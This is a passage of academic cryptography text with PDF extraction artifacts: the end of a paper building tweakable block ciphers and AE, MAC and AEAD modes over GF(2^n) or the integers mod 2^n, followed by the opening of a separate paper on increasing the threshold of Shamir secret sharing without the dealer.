modulo 2n. Defining the masking sequence over ZZ2n is a bit tricky. This is
because ZZ2n does not form a field. We first expand ZZ2n into a field.

Let p > 2n be the least integer which is a prime. We write p = 2n + δ. Then p
is an (n+1)-bit integer and δ is usually very small compared to 2n. Such primes
are easy to find using standard mathematical software packages. For example,
using Pari, we obtain the following table of primes. These cover the most typical
values of n used in practical applications.

n 80 96 128 160 192 256
p 280 + 13 296 + 61 2128 + 51 2160 + 7 2192 + 133 2256 + 297

The set ZZp is a field under addition and multiplication modulo p and this field
contains the integers 0, . . . , 2n − 1. For i ≥ 1, we define

fi(N ) = ((i + 1) × N mod p) mod 2n. (6)

Proposition 2. The sequence f1, f2, . . . , f2n−2 defined by (6) is an (n, 2n −
2, 2n−1/(δ + 1)) masking sequence (see Definition 2).

The proof will appear in the full version. The security bound (obtained from
the value of μ) of Proposition 2 (μ = 2n−1/(δ + 1)) is a little weaker than that
of Proposition 1 (μ = 2n). This results from the fact that we have to enlarge
the ring ZZ2n into the field ZZp. On the other hand, the slight decrease in the
security bound is immaterial from a practical point of view.

We will be computing the fi’s one after the other. Note that both N and
fi(N ) are in ZZ2n . We first initialize a variable X to N . The value of X will be
evaluated modulo p, i.e., X can take any value between 0 and p−1. If we denote
the ith value of X by Xi, then Xi = (i + 1)N mod p. To compute fi+1(N ), we
add N and X modulo p and take the last n bits of the result to be the value
of fi+1(N ). This requires only one multi-precision integer addition and at most
one subtraction. Thus, software implementation of fi(N ) will be efficient.

5 Authenticated Encryption

Rogaway [12] obtains an AE protocol in two steps.

1. Given a TBC ˜F : K×T ×{0, 1}n → {0, 1}n where T ={0, 1}n×{1, . . . , 2n/2}×
{0, 1} and an integer τ ∈ [0..n], Rogaway provides a construction of an AE
protocol.

2. The TBC ˜F is instantiated in [12] using a TBC ˜E obtained by the powering
construction over GF (2n) from XEX.



A General Construction of TBCs and Different Modes of Operations 95

Rogaway’s AE construction from the TBC ˜F also holds in the general setting
of R. Our contribution is essentially to the second step above. Recall that we
have provided the construction of a TBC ˜E : K × ({0, 1}n ×{1, 2, . . . , 2n − 2})×
{0, 1}n → {0, 1}n. Using this, we have to instantiate the ˜F . This means that
we have to map the set {1, 2, . . . , 2n/2} × {0, 1} to the set {1, 2, . . . , 2n − 2}. Let
φ : {1, 2, . . . , 2n/2}×{0, 1} → {1, 2, . . . , 2n −2} be this map. The requirement on
φ is that it should be an injective map. (In [12], this requirement is called unique
representability in the context of the powering construction over GF (2n).)

Our contribution to the AE protocol of Rogaway [12] is in the different defi-
nitions of φ. We show two ways of defining φ. The first method, which we call
linear separation, is based on Rogaway’s method. The second method, which we
call interleaved separation, is new to this work.

Let Δi,b(N ) = fφ(i,b)(N ). Figure 1 shows the AE protocol of [12] written
using the Δ’s. The statement on the security of the protocol is in Appendix A.1.

In Figure 1, the tweaks Δ1,0(N ), Δ2,0(N ), . . . , Δm,0(N ) are used to encrypt
the m message blocks and the tweak Δm,1(N ) is used to encrypt the tag. Thus,
for the purpose of efficiency, the following two tasks must be efficient.

Task 1: Compute Δi+1,0(N ) from Δi,0(N ).
Task 2: Compute Δm,1(N ) from Δm,0(N ).

Algorithm Encrypt(K,N, M)
Partition M into M [1] · · · M [m];
N = EK(N); sum = 0n;
for i = 1 to m − 1 do

mask = Δi,0(N );
C[i] = EK(M [i] + mask) − mask;
sum = sum + M [i];

end for;
mask = Δm,0(N );
Pad = EK(len(M [m]) + mask) − mask;
C[m] = M [m] + Pad;
C = C[1] · · · C[m];
sum = sum + (C[m]0∗) + Pad;
mask = Δm,1(N );
T = EK(sum + mask) − mask;
set tag to the first τ bits of T ;
return (C, tag).

Algorithm Decrypt(K,N, (C, tag))
Partition C into C[1] · · · C[m];
N = EK(N); sum = 0n;
for i = 1 to m − 1 do

mask = Δi,0(N );
M [i] = E−1

K (C[i] + mask) − mask;
sum = sum + M [i];

end for;
mask = Δm,0(N );
Pad = EK(len(C[m]) + mask) − mask;
M [m] = C[m] + Pad;
M = M [1] · · · M [m];
sum = sum + (C[m]0∗) + Pad;
mask = Δm,1(N );
T = EK(sum + mask) − mask;
set tag′ to the first τ bits of T ;
if tag = tag′ then return M
else return Invalid.

Fig. 1. AE protocol over R. The encryption algorithm takes as input (K, N, M) where
K is the key, N is the nonce and M is the message. It produces as output a pair (C, tag).
The decryption algorithm takes as input (K, N, (C, tag)), where K and N are key and
nonce respectively and (C, tag) is the ciphertext and tag pair. It produces as output
either the message M or says that the pair (C, tag) is invalid. Here Δi,b(N ) = f(N ).
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We next show two methods for defining φ and efficiency of the two tasks in
the methods.

5.1 Linear Separation

Let L be an integer such that 2n/2 ≤ L < L + 2n/2 ≤ 2n − 2. Define

φ(i, b) = i + Lb. (7)

The injectivity of φ is easily verified. In Figure 1, the use of (7) implies the
following two things. (1) For the message blocks we use masks f1(N ), f2(N ), . . . ,
fm(N ), and (2) for the tag we use the mask fm+L(N ). We now consider the two
tasks.

Task 1. Recall that earlier it has been shown that it is easy to obtain fi+1(N )
from fi(N ) for both the cases when R is realized as GF (2n) or as ZZ2n .

Task 2. We show the efficiency of this task separately for the realization of R
as GF (2n) and ZZ2n .

R as GF (2n): In this case, the technique of [12] is applicable. Let L be the
discrete log of (x + 1) in GF (2n) realized using the primitive polynomial τ(x).
(For n = 64, 128, the corresponding values of L are computed in [12] and satisfy
the condition on L.) Thus, xL ≡ x ⊕ 1 mod τ(x) and so xL ⊕ x ⊕ 1 = q(x)τ(x)
for some polynomial q(x).

Recall that the matrix G used to define the masking sequence of functions
has τ(x) as its characteristic polynomial. Using the Cayley-Hamilton theorem,
it follows that τ(G) = 0 and hence GL ⊕ G ⊕ In = q(G)τ(G) = 0. Thus, for any
N ∈ {0, 1}n, we have NGL = N (G ⊕ In). Hence, we have

fm+L(N ) = NGm+L = (NGm)GL = fm(N )GL = fm(N )(G ⊕ In).

In other words, given X = fm(N ) we compute Y = fm+L(N ) in the following
manner: Compute X1 = XG and set Y = X ⊕X1. Computation of XG requires
one application of G, which is efficient in all the three cases – LFSR, powering
and CA.

R as ZZ2n : We choose L = 2n/2. Recall that in this case Xi = (i + 1)N mod p
and fi(N ) = Xi mod 2n. Then fm+L(N ) = (Xm + 2n/2N mod p) mod 2n and
can be computed from Xm using one modulo p multiplication.

5.2 Interleaved Separation

In this case, we define φ(i, b) in the following manner.

φ(i, b) = 2i + b. (8)

The injectivity of φ is easily verified. In Figure 1, the use of this map implies
the following.
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– For the message blocks we use masks f2(N ), f4(N ), f6(N ), . . . , f2m(N ).
– For the tag we use the mask f2m+1(N ).

The advantage of this method over the linear separation technique is that it
does not require the computation of any discrete log during the design stage.
The computation of Tasks 1 and 2 are quite efficient though it is a little slower
than the linear separation method. Simple implementation tricks can speed up
the mask computation.

5.3 Comparison Among the AE Protocols

At a top level we have four single-pass AE protocols. There are two options
for instantiating the ring R (either as GF (2n) or as ZZ2n) and two options for
constructing the protocol (either using linear or interleaved separation). This
gives rise to a total of four different possibilities. Further, when we realize R as
GF (2n) there are different possibilities for implementing G. We have indicated
three – as an LFSR, using the powering construction or as a CA.

The AE protocol in [12] corresponds to the instantiation of R as GF (2n); G as
the powering construction and using the technique of linear separation. Clearly,
this is a special case of the suite of AE protocols that we have developed. There
are other single-pass protocols which do not fall within the general description
that we have developed. In particular, the protocols of Gligor and Donescu [4],
Jutla [5] and the earlier protocol of Rogaway [13] are not covered by our general
description.

From the viewpoint of efficiency consideration, the protocols that we have
developed as well as the other protocols mentioned above have roughly the same
efficiency, especially for long messages. Each of these AE protocols are quite effi-
cient to implement and will satisfy the speed requirements of most applications.
One may choose a particular protocol depending upon other factors.

6 MAC Construction

In [12], the TBC obtained from the XE construction is used to construct a
MAC protocol. In fact, a more general construction of PRF is presented in [12].
Under the assumption (implicit in [12]) that at most B blocks are permissible
in a single message, the general construction is described using a TBC ˜F :
K × ({1, . . . , B} ×{0, 1, 2}× {0, . . . , V}) ×{0, 1}n → {0, 1}n. The set {0, . . . , V},
where V is a small positive integer (≤ 7), is considered to be a tweak to the PRF
(and hence MAC) algorithm itself.

For each tweak (i, j, v), the MAC algorithm associates a mask Δi,j,v. The
algorithm of [12] written in terms of the Δi,j,v ’s is shown in Figure 2. The first
(m − 1) message blocks are masked using Δ1,0,v, Δ2,0,v, . . . , Δm−1,0,v and the
last encryption is masked using Δm,1,v or Δm,2,v according as whether the last
block is full or partial.
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The TBC ˜F is instantiated by the TBC ˜E which in turn is instantiated by
the block cipher E. This chain of instantiations can be written as follows.

˜F i,j,v(M) = ˜E0n,φ(i,j,v)(M) = EK(M + Δi,j,v) = EK(M + fφ(i,j,v)(N ))

where N = EK(0n) and

φ : {1, . . . , B} × {0, 1, 2} × {0, . . . , V} → {1, . . . , 2n − 2}

is an injective map. As in the case of AE, we identify two techniques for defining
the map φ.

Algorithm Tag-Generation(K, v, M)
Partition M into M [1] · · · M [m];
N = EK(0n); sum = 0n;
for i = 1 to m − 1 do

mask = Δi,0,v;
Y = EK(M [i] + mask);
sum = sum + Y ;

end for;
if |M [m]| = n
then mask = Δm,1,v ; sum = sum + M [m];
else mask = Δm,2,v ; sum = sum + (M [m]10∗);
T = EK(sum + mask);
set tag to the first τ bits of T ;
return tag.

Fig. 2. The tag generation algorithm of a tweakable MAC protocol over R. The al-
gorithm takes as input (K, v, M) where K is the key, v is the tweak and M is the
message. It produces as output a τ -bit tag.

6.1 Linear Separation

Let L1 and L2 be two positive integers satisfying the following two conditions.

– B + 2L1 + VL2 ≤ 2n − 2.
– |L1j + L2v| > B for −2 ≤ j ≤ 2 and −V ≤ v ≤ V.

Define

φ(i, j, v) = i + L1j + L2v. (9)

Lemma 1. The map φ defined in (9) is an injection.

Proof: Let if possible, (i1, j1, v1) �= (i2, j2, v2) and φ(i1, j1, v1) = φ(i2, j2, v2).
Then we have i1 − i2 = L1(j2 − j1) + L2(v2 − v1), where −B ≤ i1 − i2 ≤ B,
−2 ≤ j2 − j1 ≤ 2 and −V ≤ v2 − v1 ≤ V. From the given condition on L1 and
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L2, the minimum value of |L1(j2 − j1) + L2(v2 − v1)| is greater than B while
|i1 − i2| ≤ B. Hence, if any one of (j2 − j1) or (v2 − v1) is not equal to zero, then
i1 − i2 = L1(j2 − j1) + L2(v2 − v1) cannot hold. If both are zeros, then i1 = i2
and we have (i1, j1, v1) = (i2, j2, v2). This shows that φ is an injection. �


We now consider the two possibilities for R.

R as GF (2n): The values of L1 and L2 are respectively the discrete logs of
(x + 1) and (x2 + x + 1) with respect to the lexicographically first primitive
polynomial τ(x) of degree n over GF (2). These values have been computed
in [12] for n = 128 and n = 64 and satisfy the required condition for B = 2n/2.

fi+jL1+vL2(N ) = NGi+jL1+vL2

= NGi(GL1)j(GL2)v

= NGi(In ⊕ G)j(In ⊕ G ⊕ G2)v

= (N (In ⊕ G ⊕ G2)v)Gi(In ⊕ G)j

= XGi(In ⊕ G)j

where X = N (In ⊕G⊕G2)v. Note that v is a tweak to the MAC algorithm itself
and is independent of the actual message to be authenticated. At the start, we
compute X = N (In ⊕ G ⊕ G2)v. The value N = EK(0n) is computed and then
the map (In ⊕ G ⊕ G2) is applied v times to it. This can be done as follows:

1. N = EK(0n);
2. for i = 1 to v do
3. A = NG; B = AG; N = N ⊕ A ⊕ B;
4. end do;

Executing the above algorithm requires a total of 2v applications of G. Recall
that each application of G is very cheap when G is realized using either an LFSR,
or a powering construction or as a CA map.

Once X is computed, we can iteratively compute XGi by applying G to the
previously generated value. Suppose the last value that is obtained is Z. To Z
we apply (In ⊕ G)j . The value of j is 1 or 2 and applying (In ⊕ G)j is similar to
applying (In ⊕ G ⊕ G2)v shown above.

R as ZZ2n : Let B = 2n/2 − 1, L1 = (V + 1)2n/2 and L2 = 2n/2. Then the
conditions on L1 and L2 are satisfied. We have

fi+jL1+vL2(N )
= ((i + jL1 + vL2 + 1)N mod p) mod 2n

= ((vL2N mod p) + (jL1N mod p) + ((i + 1)N mod p) mod p) mod 2n

= ((X2 + X1 + ((i + 1)N ) mod p) mod p) mod 2n

where X2 = vL2N mod p and X1 = jL1N mod p. Since v does not depend on
the message, we start by computing Z = X2. Let Zi = X2 + (i + 1)N mod p.
Then the value of fi+vL2(N ) equals the n least significant bits of Zi. Finally, we
get fi+jL1+vL2(N ) by adding X1 to Zm and taking the n least significant bits.



100 D. Chakraborty and P. Sarkar

6.2 Interleaved Separation

In this case, we define

φ(i, j, v) = 3(V + 1)i + (V + 1)j + v. (10)

The injectivity of φ is readily verified. Starting from fv(N ) it is easy to compute
f3(V+1)i+v(N ) iteratively for both the cases when R is GF (2n) or ZZ2n . Finally,
it is also easy to compute the value of f3Vm+Vj+v(N ) from f3Vm+v(N ) in both
the cases. This technique does not require the integers L1 and L2 and hence
in the case of R being realized as GF (2n) there is no need for any discrete
log computation. The disadvantage is that compared to linear separation, this
technique is costlier. Computing the masks is about 3(V+1) times more costlier.
In the case, where V = 1, as in the application to the construction of AEAD,
this cost is within tolerable limits.

6.3 AEAD

It has been shown in [12] that the tweakable MAC can be combined with the
AE construction to obtain an AEAD construction. The basic idea is to use the
technique of ciphertext translation from [11] and tweak the MAC construction
using v = 1. The header is authenticated by the MAC algorithm and the message
is encrypted using the AE algorithm. Finally, the tag for the header is XORed
into the required number of last bits of the output of the AE algorithm (which
is the ciphertext and the tag for the message). We discuss how this can be done.

The input to the AEAD is a triple (N, H, M), where N is an n-bit nonce, H is
the header and M is the message. Let φ be an injective map (obtained by either
the linear or the interleaved separation) from {1, . . . , B} × {0, 1, 2} × {0, 1} to
{1, . . . , 2n − 2}. For (i, j, v) ∈ {1, . . . , B} × {0, 1, 2} × {0, 1} and N ∈ {0, 1}n,
we define a set of masks Δi,j,v(N ) = fφ(i,j,v)(N ). The MAC requires a TBC
obtained by the XE construction, while the AE requires a TBC obtained by the
XEX construction. Both these constructions require masks of the type fk(N ).
Defining these masks will make the algorithm precise.

The masks for the first h − 1 header blocks in the MAC algorithm are
Δ1,0,1(N ′), Δ2,0,1(N ′), . . . , Δh−1,0,1(N ′), where N ′ = EK(0n). The mask for the
last header block is Δh,1,1(N ′) or Δh,2,1(N ′) according as Hh is full or partial.

In the AE algorithm, the masks for the m message blocks are

Δ1,0,0(N ), Δ2,0,0(N ), . . . , Δm,0,0(N )

where N = EK(N). The mask for encrypting the checksum sum in the AE
algorithm is Δm,1,0(N ). With the above mask definitions and the protocols in
Figures 1 and 2, it is easy to fill out the details of the AEAD protocol.

7 Conclusion

The concept of TBCs and the theme of designing modes of operations based
upon TBCs was introduced in [8]. The first efficient construction of TBCs was
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presented in [12] and the same paper presented AE, MAC and AEAD protocols.
We build on the work in [12]. Our first contribution is to present a general con-
struction of an efficient TBC. We work over a ring R which can be instantiated
as either GF (2n) or as ZZ2n . The construction of TBC in [12] can be seen as a
special case (instantiating R as GF (2n) and using the powering construction) of
our construction. The general TBC construction is used to instantiate general
constructions of AE, MAC and AEAD protocols from [12] in several ways. This
leads to a suite of efficient protocols for these applications out of which only one
of each kind has been described earlier in [12].

References

1. Mihir Bellare and Chanathip Namprempre. Authenticated encryption: Relations
among notions and analysis of the generic composition paradigm. In Tatsuaki
Okamoto, editor, ASIACRYPT, volume 1976 of Lecture Notes in Computer Sci-
ence, pages 531–545. Springer, 2000.

2. Mihir Bellare, Phillip Rogaway, and David Wagner. The EAX mode of operation.
In Bimal K. Roy and Willi Meier, editors, FSE, volume 3017 of Lecture Notes in
Computer Science, pages 389–407. Springer, 2004.

3. John Black and Phillip Rogaway. A block-cipher mode of operation for paralleliz-
able message authentication. In Lars R. Knudsen, editor, EUROCRYPT, volume
2332 of Lecture Notes in Computer Science, pages 384–397. Springer, 2002.

4. Virgil D. Gligor and Pompiliu Donescu. Fast encryption and authentication: XCBC
encryption and XECB authentication modes. In Mitsuru Matsui, editor, FSE,
volume 2355 of Lecture Notes in Computer Science, pages 92–108. Springer, 2001.

5. Charanjit S. Jutla. Encryption modes with almost free message integrity. In Bir-
git Pfitzmann, editor, EUROCRYPT, volume 2045 of Lecture Notes in Computer
Science, pages 529–544. Springer, 2001.

6. Jonathan Katz and Moti Yung. Complete characterization of security notions for
probabilistic private-key encryption. In STOC, pages 245–254, 2000.

7. R. Lidl and H. Niederreiter. Introduction to finite fields and their applications,
revised edition. Cambridge University Press, 1994.

8. Moses Liskov, Ronald L. Rivest, and David Wagner. Tweakable block ciphers. In
Moti Yung, editor, CRYPTO, volume 2442 of Lecture Notes in Computer Science,
pages 31–46. Springer, 2002.

9. Stefan Lucks. Two-pass authenticated encryption faster than generic composition.
In Henri Gilbert and Helena Handschuh, editors, FSE, volume 3557 of Lecture
Notes in Computer Science, pages 284–298. Springer, 2005.

10. David A. McGrew and John Viega. The security and performance of the
galois/counter mode (gcm) of operation. In Anne Canteaut and Kapalee
Viswanathan, editors, INDOCRYPT, volume 3348 of Lecture Notes in Computer
Science, pages 343–355. Springer, 2004.

11. Phillip Rogaway. Authenticated-encryption with associated-data. In Vijayalakshmi
Atluri, editor, ACM Conference on Computer and Communications Security, pages
98–107. ACM, 2002.

12. Phillip Rogaway. Efficient instantiations of tweakable blockciphers and refinements
to modes OCB and PMAC. In Pil Joong Lee, editor, ASIACRYPT, volume 3329
of Lecture Notes in Computer Science, pages 16–31. Springer, 2004.



102 D. Chakraborty and P. Sarkar

13. Phillip Rogaway, Mihir Bellare, and John Black. OCB: A block-cipher mode of
operation for efficient authenticated encryption. ACM Trans. Inf. Syst. Secur.,
6(3):365–403, 2003.

14. S. Tezuka and M. Fushimi. A method of designing cellular automata as pseudo
random number generators for built-in self-test for vlsi. In Finite Fields: Theory,
Applications and Algorithms, Contemporary Mathematics, AMS, pages 363–367,
1994.

A Security Statements

A.1 Security of AE protocol

The security of an authenticated encryption protocol consists of two parts –
privacy and authenticity. The adversary is given access to the encryption oracle
and is assumed to be nonce respecting, i.e., it does not repeat a nonce in its
queries to the oracle. Following Rogaway [12], the privacy of a encryption scheme
Π = (K, E , D) against a nonce respecting adversary A is defined in the sense of
“indistinguishability from random strings” in the following manner:

Advpriv
Π (A) = Pr[K $← K : AEK(·,·) ⇒ 1] − Pr[A$(·,·) ⇒ 1]

where $(·, ·) is an oracle that takes (N, M) as input and returns |M | many ran-
dom bits as output. For defining authenticity, the adversary is said to successfully
forge if it outputs a pair (N, (C, tag)) which is valid and (C, tag) was not the
result of any prior (N, M) query. Formally,

Advauth
Π (A) = Pr[K $← K : AE(·,·) forges].

The result on the security of the AE protocol of Figure 1 is stated below and is
a minor modification of Corollary 6 of [12].

Theorem 2. Let AE[ ˜E, τ ] be constructed as in Figure 1. Let ˜E be instantiated
by a block cipher E : K × {0, 1}n → {0, 1}n. Then

– Advpriv
AE[E,τ ]

(t, σn) ≤ Advprp
E (t′, σn) + 5q2

2n+1 + 4q2

μ

– Advauth
AE[E,τ ](t, 2σn) ≤ Adv±prp

E (t′, 2σn) + 2n−τ

(2n−1) + 5q2

2n+1 + 4q2

μ

where t′ = t + cnσn for some absolute constant c; μ = 2n if R is realized as
GF (2n), and μ = 2n−1/(δ + 1) with δ = p − 2n if R is realized as ZZ2n .
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Abstract. In this paper, we investigate the problem of increasing the threshold
parameter of the Shamir (t, n)-threshold scheme without interacting with the
dealer. Our construction will reduce the problem of secret recovery to the poly-
nomial reconstruction problem which can be solved using a recent algorithm by
Guruswami and Sudan.

In addition to be dealer-free, our protocol does not increase the communication
cost between the dealer and the n participants when compared to the original
(t, n)-threshold scheme. Despite an increase of the asymptotic time complexity at
the combiner, we show that recovering the secret from the output of the previous
polynomial reconstruction algorithm is still realistic even for large values of t.
Furthermore the scheme does not require every share to be authenticated before
being processed by the combiner. This will enable us to reduce the number of
elements to be publicly known to recover the secret to one digest produced by a
collision resistant hash function which is smaller than the requirements of most
verifiable secret sharing schemes.

Keywords: secret sharing scheme, polynomial reconstruction problem, threshold
changeability, insecure network, cheater resistance.

1 Introduction

A (t, n)-threshold secret sharing scheme enables an authority called dealer to distribute
a secret s as shares amongst n participants in such a way that any group of minimum
size t can recover s while no groups having at most t−1 members can get any informa-
tion about s. The recovery process is executed by an authority called combiner. When
introduced in 1979 by Shamir [33] and Blakley [1], secret sharing was designed to faci-
litate the distributed storage of a secret s in an unreliable environment. Nowadays secret
sharing protocols play an important role in group-oriented cryptography [5]. In such a
context it is likely to have an attacker trying to recover the secret value s. In addition
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the attacker capabilities are likely to change over time requiring the threshold param-
eter t to be modified. Unfortunately establishing secure communication between the n
participants and the dealer to modify the threshold may not be possible after the orig-
inal setup stage. Ideally the dealer should not be required to take part to the threshold
update process. A scheme having this property is said to provide dealer-free threshold
changeability. Several such schemes have been designed but either they have large stor-
age/communication requirements for the group members or the original (t, n)-scheme
was specially designed for particular future threshold modification [3, 20, 21, 22]. Some
constructions require communication between participants to achieve the threshold up-
date [6, 23]. The recent construction by Steinfeld et al. [35] overcome these drawbacks
provided that all participants are honest when recovering the secret s.

In a group-oriented context it is also important to consider the case when some par-
ticipants (or an outsider impersonating one of the participants) submit invalid shares to
the combiner either to get some information about s or to prevent s from being recon-
structed by the combiner. An approach to deal with an enemy E would be to let each
participant flip a coin and send to the combiner either his share or an erasure according
to the draw. Nevertheless it is easy for E to differentiable an erasure from a non-erased
symbol. Encrypting information would prevent E from getting knowledge of the trans-
mitted element. Nonetheless encryption would not make the combiner immune against
a substitution attack performed by E since E can substitute the eavesdropped value vi

by any random element v′i uniformly chosen from IFp \{vi} (where IFp denote the finite
field of prime order p). The probability that v′i is the encryption of neither an erasure
nor the share si is at least 1 − 3

p which means that the element v′i, reaching the com-
biner, will be incorrect with high probability. Thus recovery of s is not guaranteed by
this approach (see Sect. 2). In [24], McEliece and Sarwate studied the case where some
shares submitted to the combiner were faulty. The drawback of this approach is that the
share construction depends on the number of incorrect values to be tolerated. Thus the
scheme is not secure if the abilities of E increase over time as it is likely to occur as
said in earlier. The problem of dealing with dishonest participants was further studied
in [9, 10]. Tompa and Woll [40] designed a generic attack on any linear secret sharing
scheme enabling a dishonest participant to recover the value s while honest participants
receive an invalid secret s̃ �= s from the combiner. As noted in [41], there are two main
ways of dealing with cheaters. The first approach is to discourage cheaters from send-
ing incorrect shares to the combiner by designing the scheme in such a way that the
cheater cannot recover s from the incorrect secret s̃ built by the combiner. Although the
protocols in [29, 27, 28, 41] are unconditionally secure, they do not prevent the com-
biner from reconstructing an invalid secret s̃ when some participants submit incorrect
shares. The second approach is to build the shares in such a way that the participants
and/or the combiner can verify their correctness. Such schemes are called Verifiable
Secret Sharing (VSS) schemes. Unfortunately most VSS have requirements which be-
come prohibitive when the group size n or the secret size |s| gets large. For instance in
[38], sharing integrity is verified using an interactive protocol between the dealer and
each participant. In [18], the dealer has to create n additional elements and transmit
each of them to every participant which involves a large communication overhead as
well. In [32], the dealer has to publish n + 1 elements of size |s| and n + t elements
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from a group of order |s|. The scheme in [8] is unconditionally secure but the dealer
needs to distribute n polynomials of degree at most t − 1 which represent a total of n t
extra elements of size |s|. Recently, Stinson and Zhang designed a technique dealing
with up to � cheaters [37]. Nevertheless when there are exactly � cheaters their Gener-
alized Combined Algorithm will require all the n shares to have been submitted to the
combiner in order to successfully recover s.

In this paper we propose a computationally secure approach to modify dynamically
the threshold of Shamir (t, n)-scheme according to the enemy’s abilities. In our con-
struction each participant will receive one share from the dealer and will generate some
random elements when sending data to the combiner. These random elements will first
allow us to increase the threshold t to T by reducing the secret recovery problem to the
polynomial reconstruction problem for which an efficient algorithm has been developed
by Guruswami and Sudan [13]. We will show that it is computationally prohibitive to re-
cover s from T (≥ t) "shares" that are submitted to the combiner. Furthermore when up
to F communication channels are corrupted either by an outsider or by dishonest par-
ticipants, Guruswami and Sudan’s algorithm will enable us to deduce another threshold
TF from which secret recovery is guaranteed. In addition to be dealer-free, our protocol
has several advantages over the previous constructions. First, the communication cost
between the dealer and the n participant will be identical to the cost of the original
Shamir (t, n)-threshold scheme and therefore it will be independent from both n and t.
Second a single element will need to be publicly known to recover s. Finally exhausting
the output of the polynomial reconstruction algorithm to recover s will remain practical
even for large values of t.

This paper is organized as follows. In the next section, we will recall the construction
of Shamir secret sharing scheme and introduce two standard polynomial reconstruction
problems. They will be used to design and prove the security and soundness of our con-
struction in Sect. 3. In Sect. 4 we will study the practical efficiency of our scheme over
an insecure network. In the last section we will summarize the benefits of our proto-
col to the problem of dealing with enemies in secret sharing schemes over an insecure
environment.

2 Preliminaries

2.1 Shamir Secret Sharing Scheme

Let p be a prime number. Denote s ∈ IFp the secret to be shared amongst the n partici-
pants P1, . . . , Pn. Every participant Pi is given a unique identification value xi ∈ IF∗

p .

Share Construction. The dealer uniformly select t − 1 coefficients a1, . . . , at−1 from
IFp and builds the polynomial S(X) over IFp as:

S(X) := s +
t−1∑

i=1

ai X i

and computes the n shares (x1, y1), . . . , (xn, yn) as: ∀i ∈ {1, . . . , n} yi := S(xi).
Share (xi, yi) is given to participant Pi for i in {1, . . . , n}.
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Secret Recovery. Assume that the combiner receives t shares (xi1 , yi1), . . . , (xit , yit).
He reconstructs the polynomial S(X) using Lagrange interpolation formula as:

S(X) =
t∑

j=1

yij

⎛

⎜⎜⎝
∏

1≤k≤t

k�=j

X − xik

xij − xik

⎞

⎟⎟⎠

and recovers s since: s = S(0).

Cheating in Shamir Secret Sharing Scheme. Assume that at least one of the parti-
cipants (say Pij ) sends an incorrect share to the combiner. The incorrect share can be
written as (xij , ỹij ) where ỹij �= yij . Denote S̃(X) the polynomial obtained by the
combiner. Since S̃(X) is a univariate polynomial passing through (xij , ỹij ) we have
S̃(X) �= S(X). Therefore it is unlikely to have s = S̃(0). Thus secret recovery cannot
be guaranteed even if there is only one dishonest participant.

In addition any outsider to the group P1, . . . , Pn can recover s by eavesdropping the
communication between t participants and the combiner using the same reconstruction
process as the combiner.

2.2 Reconstructing Polynomials

We introduce two computational problems related to the reconstruction of polynomials.

Polynomial Reconstruction Problem (PRP). Given as input K , T and N points
(x1, y1), . . . , (xN , yN ) from IF2

q (where q is the power of a prime number p), output
all univariate polynomials P (X) of degree at most K such that yi = P (xi) for at least
T values of i.

In [13], Guruswami and Sudan developed an algorithm called Poly-Reconstruct out-
putting such a list provided that: T ≥

√
(1 + ε)K N for some positive constant ε. It

requires O
(
N2 ε−5 log q

)
field operations in IFq and the list has size O

(
ε−5

√
N
T

)

[12]. Therefore in order to use Poly-Reconstruct, we must have T >
√

K N . Poly-
Reconstruct is the best known algorithm to solve PRP [2].

Noisy Polynomial Interpolation Problem (NPIP). Let P (X) be a polynomial of de-
gree K over the finite field IF2

q (where q is the power of a prime number p). Given
N > K + 1 sets S1, . . . , SN and N distinct field elements x1, . . . , xN such each
Si := {yi1, . . . , yim} contains m − 1 random elements and P (xi), recover P (X) pro-
vided that the solution is unique.

It is clear that Poly-Reconstruct can be used to solve NPIP when N >
√

K N m
(i.e. N > K m). In [2], Bleichenbacher and Nguyen studied the case when N ≤ K m.
They enlightened that when the size of the field characteristic |p| was at least 80 bits
long, the previously known techniques solving NPIP were computationally impractical
while their construction based on lattices was efficient for K up to 154 and m = 2.
Nevertheless they pointed out two important facts. First they could not guarantee that
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the value K = 155 was reachable in practice (when m = 2) and second, their algorithm
took one day to recover P (X) when m = 3 for K as small as 101 on a 500 MHz 64-bit
DEC Alpha using Victor Shoup’s NTL Library (version 3.7a) [34] and Schnorr’s BKZ
reduction [30, 31].

3 Our Construction

As in [2], we consider that the size of the secret is at least 80 bits long. This is a
realistic asumption since secret sharing protocols can be used to distribute keys for
digital signatures (see [14] for instance). As in [15], the security of our construction
will rely on the difficulty of solving NPIP. As said in Sect. 1, the size of the group is
considered to be large. Therefore we can assume that the threshold t is beyond 160 for
which Bleichenbacher and Nguyen’s construction cannot be used to solve NPIP. This
assumption involves a large number of participants n. An illustration of such a setting
is electronic legislature [7, 11] where n can be of the order of hundreds. One can even
expect an organization such as the United Nations to have committees of thousands of
representatives. In our construction we also consider that the dealer is honest.

3.1 Distributing Shares

We need a collision resistant hash function h [26]. Let p be a prime number. Denote
s ∈ IFp the secret to be shared amongst the n participants P1, . . . , Pn. Every partici-
pant Pi is given a unique identification value xi ∈ IF∗

p .

Share Construction. The dealer uniformly select t − 1 coefficients a1, . . . , at−1 from
IFp and builds the polynomial S(X) over IFp as:

S(X) := s +
t−1∑

i=1

ai X i

He computes the n shares y1, . . . , yn as: ∀i ∈ {1, . . . , n} yi := S(xi) and publishes
h(s‖a0‖ · · · ‖at−1). Share (xi, yi) is given to participant Pi over a secure channel for i
in {1, . . . , n}.

3.2 Threshold Increase and Secret Recovery

As said in Sect. 1, we will assume that the network (i.e. the communication channel
between the participants and the combiner) is under control of an outsider who can
eavesdrop communications. If the (t, n)-scheme has to be used over a long period of
time then it is likely the adversary increases his computational power and therefore
threatens the security of the scheme. As a consequence, the threshold value t may need
to be increased to preserve the secret s from being recovered by an enemy eavesdrop-
ping the network. Nevertheless the dealer may not be part of the network when the
threshold increase is needed. As in [35], our construction will be dealer-free and the
new threshold value will be set by the combiner. It can be reliably transmitted to each
participant over the insecure channel using a digital signature [36].
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Let λ be any positive integer such that: n ≥ (t−1)λ+1. Assume that each participant
Pi randomly chooses λ−1 distinct elements from IFp\{yi} and sends the whole set of λ
coefficients to the combiner. Upon reception of data from t′ participants, the combiner
has to solve an instance of NPIP. As said in Sect. 1, Poly-Reconstruct can be used
provided:

t′ >
√

(t − 1) (λ t′)

which is equivalent to: t′ > (t − 1)λ. As said in Sect. 2, the list output by
Poly-Reconstruct contains the polynomial S(X). Denote T the integer defined as:
T := (t − 1)λ + 1. Notice that: T ≥ t.

Combining Shares. Assume that the combiner receives λT elements from T partici-
pants. He runs Poly-Reconstruct to obtain a list of candidates for the polynomial S(X).
Using the public value h(s‖a1‖ · · · ‖at−1), the receiver recovers S(X) from the list
